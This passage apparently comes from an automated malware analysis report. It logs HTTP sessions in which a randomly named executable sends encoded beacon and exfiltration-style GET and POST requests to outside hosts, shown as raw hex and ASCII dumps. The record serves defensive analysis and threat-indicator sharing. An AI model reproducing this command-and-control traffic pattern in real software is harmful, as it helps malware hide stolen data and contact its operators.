6e 34 79 4a 7a 54 63 76 47 5a 6b 4f 70 77 74 45 44 6b 59 38 67 39 77 6e 72 47 5a 4d 41 41 41 52 31 48 6c 31 34 4c 32 50 70 77 6f 73 52 66 41 4e [TRUNCATED] Data Ascii: OdjTHtuX=P4P7OBpLb5mk1Z8gNNRWTZyaWkG3iiw+dDDY38YLMfJvAjoJ2zavmrBO2PNLtOEZliQOf5vzVE44RO7xIlLClLzHXo6dh2kJsJ7s2Hqmn+INx93Od2gXZSx/1QAxLcqSf8tEjGXuZKZIw7mLPOnMsNY7GtCyxQAwt/qVp2wVCht/FEiVxVL4ebnRWgn45VfWCLDjWHgP1dGs2LtyCkV/kapQoJNECIlFppXUENHrIm5aEBqbS/upwAWRtZ+7sWkNoGuJlzxgCgeW+saRUeRi7r+tHn4yJzTcvGZkOpwtEDkY8g9wnrGZMAAAR1Hl14L2PpwosRfANQk6ZrPpaLsRhQo/FNUV3GzLRTWCYvpuI6Bif0YrwRDI1Nyov9KFBqFwDfChwZA9toOtttHtLQY/PAJCD1MbiNxAR4tkAsrCneoyDAtlPInYSKxmsbneRGZ8WW/lmPV+UMRX/7n6w3xYcWgGrXOIQwz8qaTtZ1O3RF1MjwN5kpngUHrOxeaOh0H8FnwraaHu2GydQm/2LRNxZHg3uLzL1Fo1nYo/K0gXlQ3ehytyguIFEoljkPLgIuEcKfNUjnHO6bbyip9ZW/O7EYmSk/Y1X+UVcluHAppiY5bgfsXzORoGcgk8ofcgLzgqw/X7LJhPr8Q87nL6sFthGLWukAGudN1ktkpVFsUG2zSJNRIN8mSucnY9mvgIZWWIFBovnmRP7cgzqiClmiANjQbQwYs5diHDb0cFb3LWoxgQ04XMSwTUNQqYeI45AXETAtCTGyW0r9k3roCD9U5QRDkg9T67BElQh4n+Z/p/gJirlQM4drBz9UbuhKDFHN1HnqIFgyoth7zpFoOV8j/CVAwEzMs3RdB/RZTqJtuYEFD4npeDQspIbjuWVO558KTzbWhWSP9pntgULFJrUMMvhNQlKjDZ1blhU4T2kdpDtVSHWrAR56dcWIngUHJ5DySWNT0OKDAtgi+50e8Az4hD3K1HJe1Bbw2S6vGz0Ij+Ce2 [TRUNCATED]
Jul 3, 2024 17:58:18.794671059 CEST	305	IN	HTTP/1.1 405 Not Allowed date: Wed, 03 Jul 2024 15:58:18 GMT content-type: text/html content-length: 154 server: Parking/1.0 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49757	91.195.240.19	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:58:20.681797028 CEST	349	OUT	GET /3jr0/?OdjTHtuX=C6nbN3Z6SrmD48dKFL5Pdr+cZFmYp1QsQ3e628IyGZcRZCB2vhKb6ox4g6I37OYbmAVSFMbRXnVDWcusSAPk0vfQfIagm0ASlZK02lSA38wn9PDfH1oUKWJrxTMbBcOAU+1qziI=&Y6vp=3PLd8j HTTP/1.1 Accept: / Accept-Language: en-US,en;q=0.9 Connection: close Host: www.easybackpage.net User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Jul 3, 2024 17:58:21.382949114 CEST	1236	IN	HTTP/1.1 200 OK date: Wed, 03 Jul 2024 15:58:21 GMT content-type: text/html; charset=UTF-8 transfer-encoding: chunked vary: Accept-Encoding expires: Mon, 26 Jul 1997 05:00:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_rRjJIWQ2eGKqDJ4VFZEGEqIfhEaBn/P9OrURBY8NQjXfYaXIJQfAAF0i/V+hMwvpLYKngQamCJviQX0o42IS+A== last-modified: Wed, 03 Jul 2024 15:58:21 GMT x-cache-miss-from: parking-89c5695ff-gj6gm server: Parking/1.0 connection: close Data Raw: 32 45 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 6e 79 6c 57 77 32 76 4c 59 34 68 55 6e 39 77 30 36 7a 51 4b 62 68 4b 42 66 76 6a 46 55 43 73 64 46 6c 62 36 54 64 51 68 78 62 39 52 58 57 58 75 49 34 74 33 31 63 2b 6f 38 66 59 4f 76 2f 73 38 71 31 4c 47 50 67 61 33 44 45 31 4c 2f 74 48 55 34 4c 45 4e 4d 43 41 77 45 41 41 51 3d 3d 5f 72 52 6a 4a 49 57 51 32 65 47 4b 71 44 4a 34 56 46 5a 45 47 45 71 49 66 68 45 61 42 6e 2f 50 39 4f 72 55 52 42 59 38 4e 51 6a 58 66 59 61 58 49 4a 51 66 41 41 46 30 69 2f 56 2b 68 4d 77 76 70 4c 59 4b 6e 67 51 61 6d 43 4a 76 69 51 58 30 6f 34 32 49 53 2b 41 3d 3d 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 74 69 74 6c 65 3e 65 61 73 79 62 61 63 6b 70 61 67 65 2e 6e 65 74 26 6e 62 73 70 3b 2d 26 6e 62 73 70 3b 65 61 73 [TRUNCATED] Data Ascii: 2E3<!DOCTYPE html><html lang="en" data-adblockkey=MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANnylWw2vLY4hUn9w06zQKbhKBfvjFUCsdFlb6TdQhxb9RXWXuI4t31c+o8fYOv/s8q1LGPga3DE1L/tHU4LENMCAwEAAQ==_rRjJIWQ2eGKqDJ4VFZEGEqIfhEaBn/P9OrURBY8NQjXfYaXIJQfAAF0i/V+hMwvpLYKngQamCJviQX0o42IS+A==><head><meta charset="utf-8"><title>easybackpage.net - easybackpage Resources and Information.</title><meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0"><meta name="description" content="easybackpage.net is your first and best source for all of the informa
Jul 3, 2024 17:58:21.382976055 CEST	1236	IN	Data Raw: 74 69 6f 6e 20 79 6f 75 e2 80 99 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 2e 20 46 72 6f 6d 20 67 65 6e 65 72 61 6c 20 74 6f 70 69 63 73 20 74 6f 20 6d 6f 72 65 20 6f 66 20 77 68 61 74 20 79 6f 75 20 77 6f 75 6c 64 20 65 78 70 65 63 74 20 74 6f Data Ascii: tion youre looking for. From general topics to more of what you would expect to find here, easybackpage.net has it all. We hope you find what you are sea1062rching for!"><link rel="icon" type="image/png" href="//
Jul 3, 2024 17:58:21.382987976 CEST	1236	IN	Data Raw: 74 28 5b 63 6f 6e 74 72 6f 6c 73 5d 29 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 30 7d 69 6d 67 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 73 76 67 3a 6e 6f 74 28 3a 72 6f 6f 74 29 7b 6f 76 65 72 66 6c 6f 77 3a Data Ascii: t([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-tra
Jul 3, 2024 17:58:21.383294106 CEST	1236	IN	Data Raw: 2c 6d 65 6e 75 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 73 75 6d 6d 61 72 79 7b 64 69 73 70 6c 61 79 3a 6c 69 73 74 2d 69 74 65 6d 7d 63 61 6e 76 61 73 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 74 65 6d 70 6c 61 74 65 Data Ascii: ,menu{display:block}summary{display:list-item}canvas{display:inline-block}template{display:none}[hidden]{display:none}.announcement{background:#0e162e;text-align:center;padding:0 5px}.announcement p{color:#848484}.announcement a{color:#848484}
Jul 3, 2024 17:58:21.383306026 CEST	1236	IN	Data Raw: 63 6c 61 69 6d 65 72 5f 5f 63 6f 6e 74 65 6e 74 2d 74 65 78 74 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 64 69 73 63 6c 61 69 6d 65 72 20 61 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 63 6f 6e 74 61 69 6e Data Ascii: claimer__content-text{color:#949494}.container-disclaimer a{color:#949494}.container-imprint{text-align:center}.container-imprint__content{display:inline-block}.container-imprint__content-text,.container-imprint__content-link{font-size:10px;co
Jul 3, 2024 17:58:21.383316994 CEST	1236	IN	Data Raw: 74 3a 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 6c 61 72 67 65 72 7d 2e 63 6f 6e 74 61 69 6e 65 72 2d 63 6f 6f 6b 69 65 2d 6d 65 73 73 61 67 65 Data Ascii: t:0px;margin-bottom:5px;margin-left:0px;font-size:larger}.container-cookie-message a{color:#fff}.cookie-modal-window{position:fixed;background-color:rgba(200,200,200,.75);top:0;right:0;bottom:0;left:0;-webkit-transition:all .3s;-moz-transition
Jul 3, 2024 17:58:21.383328915 CEST	1236	IN	Data Raw: 6f 6c 6f 72 3a 23 32 31 38 38 33 38 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 69 6e 69 74 69 61 6c 7d 2e 62 74 6e 2d 2d 73 75 63 63 65 73 73 2d 73 6d 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a Data Ascii: olor:#218838;color:#fff;font-size:initial}.btn--success-sm:hover{background-color:#1a6b2c;border-color:#1a6b2c;color:#fff;font-size:initial}.btn--secondary{background-color:#8c959c;border-color:#8c959c;color:#fff;font-size:medium}.btn--seconda
Jul 3, 2024 17:58:21.383894920 CEST	1236	IN	Data Raw: 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 32 36 70 78 29 7d 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 65 31 36 32 65 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 56 65 Data Ascii: form:translateX(26px)}body{background-color:#0e162e;font-family:Arial,Helvetica,Verdana,"Lucida Grande",sans-serif}body.cookie-message-enabled{padding-bottom:300px}.container-footer{padding-top:20px;padding-left:5%;padding-right:5%;padding-bot
Jul 3, 2024 17:58:21.383905888 CEST	1236	IN	Data Raw: 6f 72 6d 3a 73 63 61 6c 65 58 28 2d 31 29 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 2d 31 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 58 28 2d 31 29 3b 7a 2d 69 6e 64 65 78 3a 2d 31 3b 74 6f 70 3a 35 30 Data Ascii: orm:scaleX(-1);-webkit-transform:scaleX(-1);transform:scaleX(-1);z-index:-1;top:50px;position:inherit}.container-content--lp{min-height:720px}.container-content--rp{min-height:820px}.container-content--rp .container-content__right,.container-c
Jul 3, 2024 17:58:21.383918047 CEST	134	IN	Data Raw: 63 6f 6c 6f 72 3a 23 39 66 64 38 30 31 7d 2e 74 77 6f 2d 74 69 65 72 2d 61 64 73 2d 6c 69 73 74 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 77 6f 2d 74 69 65 72 2d 61 64 73 2d 6c 69 73 74 5f 5f 6c 69 73 74 2d Data Ascii: color:#9fd801}.two-tier-ads-list__list-element-link:link,.two-tier-ads-list__list-element-link:visited{text-decoration:underline}.two-
Jul 3, 2024 17:58:21.388155937 CEST	1236	IN	Data Raw: 74 69 65 72 2d 61 64 73 2d 6c 69 73 74 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 6c 69 6e 6b 3a 68 6f 76 65 72 2c 2e 74 77 6f 2d 74 69 65 72 2d 61 64 73 2d 6c 69 73 74 5f 5f 6c 69 73 74 2d 65 6c 65 6d 65 6e 74 2d 6c 69 6e 6b 3a 61 63 74 69 76 Data Ascii: tier-ads-list__list-element-link:hover,.two-tier-ads-list__list-element-link:active,.two-tier-ads-list__list-element-link:focus{text-decoration:none}.webarchive-block{text-align:center}.webarchive-block__header-link{color:#9fd801;font-size:20p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49758	144.208.124.10	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:58:27.202419996 CEST	632	OUT	POST /mwa4/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 213 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.superunicornpalace.com Origin: http://www.superunicornpalace.com Referer: http://www.superunicornpalace.com/mwa4/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 4d 49 46 49 4b 70 6e 6e 72 79 5a 51 2b 34 70 78 67 30 6a 50 4f 64 37 6d 72 72 75 79 64 4b 66 62 36 56 56 30 74 61 36 54 43 70 2f 34 36 74 51 73 39 4c 76 4b 36 44 2b 35 33 62 68 69 62 37 63 47 32 73 6c 4b 71 37 44 44 57 72 70 41 6a 43 71 65 30 59 54 68 44 61 43 75 58 79 45 65 43 2f 2b 65 57 4c 44 37 6f 38 6a 33 57 4e 67 6c 36 4a 71 41 39 34 77 2b 64 44 49 53 30 7a 4b 47 49 46 38 37 37 34 52 35 48 64 43 65 4b 6d 4a 63 45 41 4b 59 78 6c 41 69 34 53 64 6c 4f 42 58 6d 62 48 42 74 43 55 59 71 45 6d 66 32 42 78 79 4d 58 64 48 6b 67 31 2f 51 4f 62 76 2f 54 58 7a 71 32 70 66 5a 34 32 46 67 45 6f 72 67 39 33 33 6b Data Ascii: OdjTHtuX=MIFIKpnnryZQ+4pxg0jPOd7mrruydKfb6VV0ta6TCp/46tQs9LvK6D+53bhib7cG2slKq7DDWrpAjCqe0YThDaCuXyEeC/+eWLD7o8j3WNgl6JqA94w+dDIS0zKGIF8774R5HdCeKmJcEAKYxlAi4SdlOBXmbHBtCUYqEmf2BxyMXdHkg1/QObv/TXzq2pfZ42FgEorg933k
Jul 3, 2024 17:58:27.790493965 CEST	1236	IN	HTTP/1.1 404 Not Found Connection: close expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 link: <https://superunicornpalace.com/wp-json/>; rel="https://api.w.org/" x-tec-api-version: v1 x-tec-api-root: https://superunicornpalace.com/wp-json/tribe/events/v1/ x-tec-api-origin: https://superunicornpalace.com transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Wed, 03 Jul 2024 15:58:27 GMT server: LiteSpeed Data Raw: 66 38 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b4 5a 6b 8f db b8 92 fd 3c 0d ec 7f 60 ab 71 dd d2 84 92 25 f9 d9 72 94 c1 dc 24 73 71 17 33 9b c1 24 c1 62 91 0e 02 5a 2a d9 4c f4 1a 92 6a bb d7 e3 ff be 20 25 d9 b2 5b 7e a4 3d 9b 4e 3a 16 55 75 4e b1 58 2c b2 48 bf bc 7e f3 ee f5 87 ff f9 fd 2d 9a 8b 24 7e f5 1f 57 2f e5 ff 28 26 e9 cc d7 20 35 3f be d7 50 10 13 ce 7d 2d 48 78 42 b8 00 c6 bf 48 19 4d 09 03 09 e5 ff 09 08 82 82 39 61 1c 84 af 7d fc f0 8b 39 d6 50 77 f3 26 25 09 f8 da 03 85 45 9e 31 a1 a1 20 4b 05 a4 c2 d7 16 34 14 73 3f 84 07 1a 80 a9 1e 30 a2 29 15 94 c4 26 0f 48 0c be 83 51 42 96 34 29 92 ba e1 29 70 94 b1 84 08 33 04 01 81 a0 59 da 20 10 10 43 3e cf 52 f0 d3 ac 52 8c 69 fa 0d 31 88 7d 2d 67 59 44 63 d0 d0 9c 41 e4 6b dd ee 2c c9 67 56 c6 66 dd 65 94 76 1d e7 a9 02 4d 67 53 12 7c ab 35 e6 42 e4 5e b7 cb 8b 1c 58 91 d2 20 63 69 4e 62 12 80 15 64 49 77 99 c4 2c 0f ac 7c 9e 57 40 82 8a 18 5e fd 4e 66 80 d2 4c a0 28 2b d2 10 75 6e c6 ae e3 4c d0 c7 52 1f fd ae 00 5e 76 4b e1 ca b5 ca 81 [TRUNCATED] Data Ascii: f81Zk<`q%r$sq3$bZLj %[~=N:UuNX,H~-$~W/(& 5?P}-HxBHM9a}9Pw&%E1 K4s?0)&HQB4))p3Y C>RRi1}-gYDcAk,gVfevMgS\|5B^X ciNbdIw,\|W@^NfL(+unLR^vK,fnwI23g u_]6L@>O7RYb 9{xH4 r$u&l~@nou$=N<,EW{v'5xw}W/yh.qQ_)[WWOOa,rH=AG>ZiS#5O{.rwUpn13lw{Ky3ka<<0Sha0+X,PfT"7iEl2pZ_O5z=x>)G2
Jul 3, 2024 17:58:27.790523052 CEST	1236	IN	Data Raw: 11 29 44 66 ce 20 05 46 04 84 d2 a1 d7 51 91 aa 54 a5 53 9c 1a ab 07 c2 50 86 39 86 49 dd 8e 02 1d 8c 95 60 8f ea 9d f0 57 bc c8 65 ee fc 00 5c 70 0f b0 a0 09 70 41 92 dc d3 53 58 a0 37 44 80 61 3d 90 b8 80 77 91 6e ac 27 1c 38 a7 59 fa 5e 64 8c Data Ascii: )Df FQTSP9I`We\ppASX7Da=wn'8Y^d - 3F0u@D0t>iXAmlc>nz8:8Klc_Zy]o @[!/)U6c@,E`z@>cU'yml\*/
Jul 3, 2024 17:58:27.790534973 CEST	1236	IN	Data Raw: e6 71 31 a3 29 ef fe 2a 71 de 2b 9c 2e e1 1c 04 ef 72 41 04 0d ba 0d 86 6e c0 79 f3 d9 0a 78 59 30 8c ac 3b 6b 78 5b d6 60 b7 6a f6 2a 5b 12 08 29 f1 6f 49 1c 97 05 b5 32 5e 99 bd c8 cd b2 fa 28 fb 63 d2 54 ae c2 65 0f 54 85 bd 45 79 75 75 f5 03 Data Ascii: q1)q+.rAnyxY0;kx[`j[)oI2^(cTeTEyuuMf"7yBcxH>u<&A5MdyAR1iB`JZ\|Nl,<@a3zFe=t5ILgLz.gVrrFQk/28"7q\|3c:e=~WrUY$'.
Jul 3, 2024 17:58:27.790955067 CEST	1236	IN	Data Raw: 2b 84 9c 77 e1 ae ba d9 ab f9 e5 cc 43 db 5f 8e 81 37 3d dc ed 9d 73 c8 ba 80 51 7e d4 3a c7 98 ac bd c5 1c 18 e8 16 e5 66 4c 1e b3 42 98 51 0c 4b 63 35 23 b9 8c a3 01 24 6d 32 33 46 c3 5d 19 59 2b a0 3d 94 d5 a6 42 97 98 93 75 ab 8c 7c 65 2e 98 Data Ascii: +wC_7=sQ~:fLBQKc5#$m23F]Y+=Bu\|e.'D6{(TkDMTF@>AI:Wum:Jc*1X@n[YU0z LoTg4c?s&ZS-JL\|VY1`mVRH
Jul 3, 2024 17:58:27.790968895 CEST	1236	IN	Data Raw: 25 31 45 56 ac d6 35 ca fc 5f 31 79 98 a4 fd 87 97 ec d1 f2 26 5d de 2e e4 47 e7 21 24 56 3a 0f 6e b2 24 49 0b e7 11 4e b7 f3 04 92 b5 a4 fb 04 92 22 9d 27 d5 7a 71 97 b9 8f 90 2e 4e 23 4c 33 fc f0 72 b4 6b 78 66 bc 98 bd 2a 68 74 c4 97 44 6c 9d Data Ascii: %1EV5_1y&].G!$V:n$IN"'zq.N#L3rkxfhtDl,$p/!]fuWpFIZ~6N> Z;\%st-qR'c&ve9RE&biIfl:8gvZ"01_e[Tsf.+}v9$a#*\|-
Jul 3, 2024 17:58:27.790981054 CEST	1236	IN	Data Raw: b8 a6 7e b2 c0 bf 48 50 00 87 57 aa 26 29 fc 86 78 56 10 05 0b f9 31 18 41 29 2e 8c fd e1 03 b0 9d c3 3c bd aa 83 91 2e 47 bb c8 53 86 c9 76 14 2c d2 9b f8 3e 93 eb b2 02 58 65 0a 01 11 ea fb 5f c5 b7 4b 28 ec a6 78 74 14 c0 2b c3 9d df 3d be a3 Data Ascii: ~HPW&)xV1A).<.GSv,>Xe_K(xt+=ug^e@HznAc`YwU-ov5Jk>2J{FUQ@<lF1(8_}{TN3OFCGu-FXt_EZq-bue\]Xoq
Jul 3, 2024 17:58:27.790993929 CEST	1236	IN	Data Raw: 6d 4a 09 09 ab c0 60 fd d2 f3 57 f1 c5 54 28 8c cf 20 cd c9 60 4c 7f 29 3b 4e 55 82 85 7a 67 1e 12 34 86 35 15 cb 75 59 c9 32 12 2b 99 51 05 23 1c a5 1e 08 25 2e a0 13 67 43 bf 23 31 c1 be 89 86 f8 9b c6 df f8 a4 84 f3 99 8d 6f f0 99 02 d0 49 34 Data Ascii: mJ`WT( `L);NUzg45uY2+Q#%.gC#1oI40j8[Dg\Sy+!XjSHl+r!j,xz/q0S5,jy^rnu:u,=[z5hjPU+qr*/L6}:XL NF
Jul 3, 2024 17:58:27.791385889 CEST	1236	IN	Data Raw: 9d 81 0b 07 42 c8 5a 5b da b9 bc 07 c1 24 6f b9 b3 88 0c e0 a6 93 44 2b 04 3d 38 7a 14 1e 65 ae 8c a7 5b 75 fa 85 9f 8a 3b 87 a3 5e 2f 37 24 9b ad 29 05 66 96 b1 a4 98 3f 53 d1 c2 36 24 e3 48 3b ee c6 53 61 7b 33 30 5d 6b cb 0b ad 61 67 39 70 7c Data Ascii: BZ[$oD+=8ze[u;^/7$)f?S6$H;Sa{30]kag9p\|ho?#8#j$FMN=`>ufV5[v8E<9+&7lcK0`?Tf*Zh_8_q(Lkb`.S^]0vDdGe+T}q:wD$
Jul 3, 2024 17:58:27.791398048 CEST	458	IN	Data Raw: 30 ba 13 4d 17 f8 1c f4 2d e7 31 11 b9 ab 5f 1b c8 57 41 80 c9 94 e0 0c 86 af a3 13 e4 4f b1 92 41 c5 38 c9 56 b2 aa 92 d2 71 ec 18 59 66 2b a5 d2 70 e3 0d 16 81 73 bd f7 e5 18 ae f7 26 af 8b bd d3 13 7f d1 85 cb fa de 7b 75 bb 37 4b 97 e4 72 1e Data Ascii: 0M-1_WAOA8VqYf+ps&{u7KrF&b)uD+7:2Efcn@iUNk&&U-+=m[dk13@U1}[/7:V\^])-Est#/-Lg
Jul 3, 2024 17:58:27.791625977 CEST	1236	IN	Data Raw: 3b 72 a2 7c 7b aa f6 50 9c a1 0f 51 1b 4f e4 b2 d6 4b be e1 da 3d 4c c6 c9 79 72 62 63 52 70 aa 25 2e e3 82 32 e6 0a 38 3e 80 0b 2e d4 3a 3a dc 4a ee 49 28 30 99 55 26 03 41 6b 86 2a 89 91 0f b8 3b d3 0b b3 be d2 c4 b5 16 d4 9e 38 0c 82 3a 25 e1 Data Ascii: ;r\|{PQOK=LyrbcRp%.28>.::JI(0U&Ak;8:%3NGWC .x>/V%ZZ\|=ZOCKRE8>:P=3loo%=7>M_EnO(k'dbF<nI/T?bYj7J=6I+
Jul 3, 2024 17:58:27.796015978 CEST	109	IN	Data Raw: a7 c5 20 fd ac d6 46 0f 67 d0 e0 60 a6 72 d0 c4 f2 38 2a 04 e6 30 33 00 a3 a0 3e 0a 72 67 f5 9e 3a 84 b5 8a a7 35 95 9b c4 80 d5 2a 94 4f 6f 6e d0 c0 c7 df 7d 9f 3f 65 b5 6a 38 46 5f 55 fe 1b 9a d8 d6 5b d2 66 49 02 60 a0 13 3c 5b 48 cf 60 3b 7d Data Ascii: Fg`r803>rg:5Oon}?ej8F_U[fI`<[H`;}vnZ~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49759	144.208.124.10	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:58:30.041765928 CEST	656	OUT	POST /mwa4/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 237 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.superunicornpalace.com Origin: http://www.superunicornpalace.com Referer: http://www.superunicornpalace.com/mwa4/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 4d 49 46 49 4b 70 6e 6e 72 79 5a 51 34 6f 35 78 6d 58 4c 50 66 39 37 6e 6f 72 75 79 58 71 65 63 36 56 4a 30 74 66 61 39 44 63 76 34 30 76 34 73 76 36 76 4b 32 6a 2b 35 6a 4c 68 6a 45 72 63 7a 32 74 59 39 71 37 2f 44 57 72 39 41 6a 44 61 65 30 50 50 67 43 4b 43 6f 62 53 45 63 64 76 2b 65 57 4c 44 37 6f 38 48 52 57 4e 6f 6c 35 34 61 41 39 61 49 2f 51 6a 49 52 6b 54 4b 47 66 56 38 6e 37 34 52 48 48 63 65 67 4b 6b 42 63 45 42 36 59 78 30 41 74 76 43 63 50 4b 42 58 35 4e 43 73 34 48 31 4a 37 4c 55 44 6c 58 44 79 4b 62 4c 47 2b 38 47 2f 7a 63 4c 50 39 54 56 72 59 32 4a 66 7a 36 32 39 67 57 2f 6e 48 79 44 53 48 77 30 45 73 72 69 53 6d 67 7a 7a 55 4d 74 34 34 59 34 6e 78 4b 51 3d 3d Data Ascii: OdjTHtuX=MIFIKpnnryZQ4o5xmXLPf97noruyXqec6VJ0tfa9Dcv40v4sv6vK2j+5jLhjErcz2tY9q7/DWr9AjDae0PPgCKCobSEcdv+eWLD7o8HRWNol54aA9aI/QjIRkTKGfV8n74RHHcegKkBcEB6Yx0AtvCcPKBX5NCs4H1J7LUDlXDyKbLG+8G/zcLP9TVrY2Jfz629gW/nHyDSHw0EsriSmgzzUMt44Y4nxKQ==
Jul 3, 2024 17:58:30.652384043 CEST	1236	IN	HTTP/1.1 404 Not Found Connection: close expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 link: <https://superunicornpalace.com/wp-json/>; rel="https://api.w.org/" x-tec-api-version: v1 x-tec-api-root: https://superunicornpalace.com/wp-json/tribe/events/v1/ x-tec-api-origin: https://superunicornpalace.com transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Wed, 03 Jul 2024 15:58:30 GMT server: LiteSpeed Data Raw: 66 38 31 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b4 5a 6b 8f db b8 92 fd 3c 0d ec 7f 60 ab 71 dd d2 84 92 25 f9 d9 72 94 c1 dc 24 73 71 17 33 9b c1 24 c1 62 91 0e 02 5a 2a d9 4c f4 1a 92 6a bb d7 e3 ff be 20 25 d9 b2 5b 7e a4 3d 9b 4e 3a 16 55 75 4e b1 58 2c b2 48 bf bc 7e f3 ee f5 87 ff f9 fd 2d 9a 8b 24 7e f5 1f 57 2f e5 ff 28 26 e9 cc d7 20 35 3f be d7 50 10 13 ce 7d 2d 48 78 42 b8 00 c6 bf 48 19 4d 09 03 09 e5 ff 09 08 82 82 39 61 1c 84 af 7d fc f0 8b 39 d6 50 77 f3 26 25 09 f8 da 03 85 45 9e 31 a1 a1 20 4b 05 a4 c2 d7 16 34 14 73 3f 84 07 1a 80 a9 1e 30 a2 29 15 94 c4 26 0f 48 0c be 83 51 42 96 34 29 92 ba e1 29 70 94 b1 84 08 33 04 01 81 a0 59 da 20 10 10 43 3e cf 52 f0 d3 ac 52 8c 69 fa 0d 31 88 7d 2d 67 59 44 63 d0 d0 9c 41 e4 6b dd ee 2c c9 67 56 c6 66 dd 65 94 76 1d e7 a9 02 4d 67 53 12 